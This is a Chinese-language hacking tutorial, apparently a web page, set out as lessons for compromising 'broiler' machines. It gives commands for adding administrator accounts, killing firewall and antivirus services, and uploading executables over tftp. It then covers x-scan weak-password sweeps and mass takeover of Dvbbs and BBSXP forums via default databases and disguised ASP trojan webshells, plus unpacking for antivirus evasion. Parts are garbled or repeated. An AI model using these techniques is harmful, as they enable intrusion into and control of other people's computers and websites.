第一课: 入侵必备DOS命令总结
一.对用户操做
net user --------查看有哪些用户
net user guest /active:yes ------ 激活guest用户
net user 用户名 密码 /add ------建立用户
net localgroup administrators 用户名 /add ------- 把“用户”添加到管理员中使其具有管理员权限
二．必备命令
net start -----查看开启了哪些服务
net start 服务名-----开启服务
net stop 服务名------停止某服务
netstat -an :查看端口的网络连接情况
ipconfig :查看本地ip地址
三．关防火墙，杀毒软件命令
net stop sharedaccess ----关系统自带防火墙
pskill.exe ravmon -----杀掉瑞星软件
pskill.exe pfw ----关天网防火墙
net stop "Symantec AntiVirus"----关于诺顿企业版
net stop KAVStart------关闭金山杀毒
向肉鸡上传文件命令:
第一种方法:tftp
命令格式:tftp -i 你的公网IP get xx.exe
：计算机运行命令全集 winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
wscript--------windows脚本宿主设置
write----------写字板winmsd-----系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天
mem.exe--------显示内存使用情况
Msconfig.exe---系统配置实用程序
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
mplayer2-------媒体播放机
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
dxdiag---------检查DirectX信息
drwtsn32------ 系统医生
devmgmt.msc--- 设备管理器
dfrg.msc-------磁盘碎片整理程序
diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
dvdplay--------DVD播放器
net stop messenger-----停止信使服务
net start messenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕"讲述人"
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat -an----(TC)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码
services.msc---本地服务设置
Sndvol32-------音罖@刂瞥绦?br>sfc.exe--------系统文件检查器
sfc /scannow---windows文件保护
tsshutdn-------60秒倒计时关机命令
tourstart------xp简介（安装完成后出现的漫游xp程序）
taskmgr--------任务管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce -p ----15秒关机
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管理
cleanmgr-------**整理
ciadv.msc------索引服务程序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令
iexpress-------木马捆绑工具，系统自带
Nslookup-------IP地址侦测器
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
gpedit.msc-----组策略
第二课:x-scan扫描器的使用技巧详解
一.详解x-scan的配置:
1.扫描模块设置:
1).开放服务
(2).远程控制系统
(3).nt-server弱口令-----administrator 空口令或弱口令.
(4).sql-server弱口令 ---sa 空口令或弱口令.
2.扫描IP范围设置:
(1).指定IP范围.
(2).从文件中导入IP列表.
二.x-scan在入侵中的应用:
1.对系统的综合安全检测,有针对性的入侵.
2.找肉鸡
nt-server弱口令
sql-server弱口令
3.邮箱,ftp,vnc的破解
三.x-scan入侵实例演示部分:
1.找同一城市的nt-server弱口令肉鸡.(一般都是个人PC)
2.s扫 + x-scan扫描 找sa空口令肉鸡(一般都是服务器)
s扫描-----扫开放1433的机子
x-scan扫描-----对开放1433的机子进行弱口令探测.
第五课:网站猎手批量入侵实战演示
黑天
一.二个重点要素:
1.关键字: 存在漏洞的程序所共有的特证.关键字一定要选准,这样命中率才高.
选择技巧:一般选择论坛最低部的版权信息或程序名称.
2.检测的页面或文件: 也就是程序存在漏洞的地方
二.网站猎手批量入侵实战演示篇:
1.实战演示一:
检测的页面或文件: data/dvbbs7.mdb
关键字:Powered By ：Dvbbs Version 7.0.0
由默认数据库到拿网站webshell过程:
第一步:下载动网默认数据库
第二步:在数据库中找管理员密码
技巧:动网论坛不需要破解MD5管理员密码,可以查看日志文件直接找到密码.
第三步:在前台以jpg格式上传asp木马.
第四步:用备份数据库功能把jpg格式备份成我们的ASP木马.
2.演示二:
检测的页面或文件:database/bbsxp.mdb
关键字:Powered by BBSXP 7.00
3.演示三:
检测的页面或文件:upfile_flash.asp
关键字:商城
四:关于批量得webshell的其它思路
1.思路一:
到大型源码下载中心,把下载量较大的源程序,下载回来研究.
主要研究他们的默认数据库地址,默认管理账号和密码,默认后台.
然后用关键字结合网站猎手批量检测.很快就提到大量webshell
2.思路二:社会工程学批量入侵拿webshell
1.免杀
2.破解
3.程序汉化,个性修改.
二.脱壳四步骤:
第一步:查壳
常用查壳工具: PEID ,FI ,PE-SCAN 等.
第二步:找OEP
工具:ollydbg
第三步:脱壳
常用脱壳工具:
1.OD自带的脱壳插件:右键脱壳之.
2.LordPE:选择所调试进程右键,完整脱壳.
第四步:修复
Import REConstructor 1.6
三.在ollydbg脱壳中常用快捷键介绍
F2: 下断点.
F4:运行到所选择的那一行.-----遇到向上跳时用到
F7:单步进入----遇到近call时用到.
F8:单步跟踪
F9:运行程序
Shift+F9 :忽略异常运行
Alt+M:打开内存镜像
什么时候用,用哪个?以后会在具体实践操作中具体讲